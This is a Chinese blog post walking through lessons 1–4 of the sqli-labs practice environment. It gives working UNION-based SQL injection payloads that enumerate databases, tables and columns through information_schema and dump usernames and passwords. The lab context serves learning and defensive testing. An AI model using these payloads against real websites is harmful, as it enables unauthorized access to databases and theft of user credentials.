sql-lib闯关之lesson1-4

在开始闯关之前,我们记录一些基础笔记

几个常用的函数:

1.version()   --Mysql版本

2.user()  --数据库用户名

3.database()  --数据库名

4.@@datadir  --数据库安装路径

5.@@version_compile_os  --操作系统的版本

常用的语句(重要):

1.查库:select schema_name from information_schema.schemata

2.查表:select table_name from information_schema.tables where table_schema='security'(此表名用的时候大多数转为16进制)

3.查列:select column_name from information_schema.columns where table_name='users'

4.查字段:select username,password from security.users


注释符:#  --+  --空

字符串连接函数:

1.concat(字符串1,字符串2)   --没有分隔符的连接字符串

2.concat(-/~,字符串1,字符串2)  --含有分隔符的连接字符串

3.group_concat(字符串1,字符串2)    --连接一个组的所有字符串,并用,分隔每一个字符。

1..order by + n  : 查询结果根据第n列排序

2.在使用 order by 测试出列数后,使用 union + 数字  查看回显信息,测试回显的哪几列,

 A and B A,B都Ture 结果才为Ture 

 A or B A,B 有一个Ture 结果就为Ture

mysql登录

1、明文密码   在bin目录下 输入:mysql -u 账户 -p 密码

2、**密码  在bin目录下 输入:mysql -u 账户 -p 后回车再输入密码 


以及了解注入中字符型数字型搜索型区别和判断
区别:
https://blog.csdn.net/change518/article/details/8116920/

判断:
https://blog.csdn.net/qq_30464257/article/details/84495884
判断中讲的比较简单明了,根据闯关结合容易理解了就。

总结一下

第一关:id=’1‘

第二关:id=1

第三关:id=(’1‘)

第四关:id= (“1”)



LESSON1
1.在进行注入前判断注入类型。
我们看到第一关的要求:请输入ID作为数字型参数

 

(1)?id=1 正常

 

 


(2)?id=1' 报错

 

 


(3)?id=1'' 又恢复正常

 

 

由此,单引号错误,双引号恢复正常,可见是字符型注入。

2.对列进行判断(通过order by进行判断)
可以采用二分法去猜测。

 

 

 

 由此判断一共有三列

3.判断回显位置。
输入?id=-1' union select 1,2,3 --+ (union联合注入查询)
必须在union前的参数报错才可以执行,所以将id=1改为id=-1

 

 用户名为第二列,密码为第三列。

4.查询所有数据库

输入:?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+

 

 查库操作发现共有库:information_schema,challenges,dvwa,jokedb,mysql,pikachu,pkxss,security,test
5.显示当前所在的数据库名
输入:?id=-1' union select 1,database(),3 --+

 

 所在库为 security
6.查询数据库的表名
输入: ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security" --+

 

 表信息:emails,referers,uagents,users
注意在使用 table_schema=“security”时 推荐将其变为16进制  选中单词点击即可 加入0x (16进制标志)

 

 7.查询目标表的列(查列)
输入: ?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

 

 可以看出 列中含有 user和password列
8.查字段 在user表中查询字段

查询的是password
输入?id=-1' union select 1,2,group_concat(password) from security.users --+

 查询username

 

 

同时也可以使用 concat_ws(~,A,B)来同时查询username 和password
输入:
?id=-1' union select 1,2,concat_ws("~",username,password) from security.users --+


我们发现只有一组数据,所以可以再次使用group_concat函数再次包裹(可以注意一下,同时其中的~号并不推荐可以改为16进制0x7e效果也是一样的)
?id=-1' union select 1,2,group_concat(concat_ws("~",username,password)) from security.users --+

 

 

 至此,我们第一关结束啦~

 

LESSON2
我们进入第二关

 

 题目要求:请输入ID作为带数值的参数。
1.判断注入类型

 

 

 

 我们可以判断出这次是数字型注入,而不是第一关的字符型注入。(数字型用的id=1不用加’)
2.依旧是采用order by 语句利用二分法判断列数

 

 

 

 得到依旧是3列
3.查看显示位,判断注入位置,之后就是获取数据库表名,列名,字段名,和第一关步骤相同

判断注入位置

 

 接着查询所有数据库

 

 查询当前数据库名称

 

 注册爆表

 

 注入uers列的字段

 

 查询字段username,password
这里以password为例

 

 完成


LESSON3
1.首先,我们依旧是判断注入类型

 

 

 

 这一关通过输入?id=1‘出现报错,不加单引号可以显示,可以推测是有符号包裹的

通过输出sql语句或者观察源码可以看见包裹形式为(’‘),所以要通过’)闭合sql语句。

剩下的步骤也是相同的,我就不再一一演示了

 

 

 如图所示,通过输入这些可以将username和password 同时显示出来

 

 

 


LESSON4
一样的道理,我们可以通过观察源码显示,测试到格式为(“”) 所以我们输入的?id=1”)
然后剩下的步骤依旧相同

 

 可以这样同时显示用户名和密码了。





posted @ 2020-02-19 17:08  陈子硕  阅读(309)  评论(0编辑  收藏  举报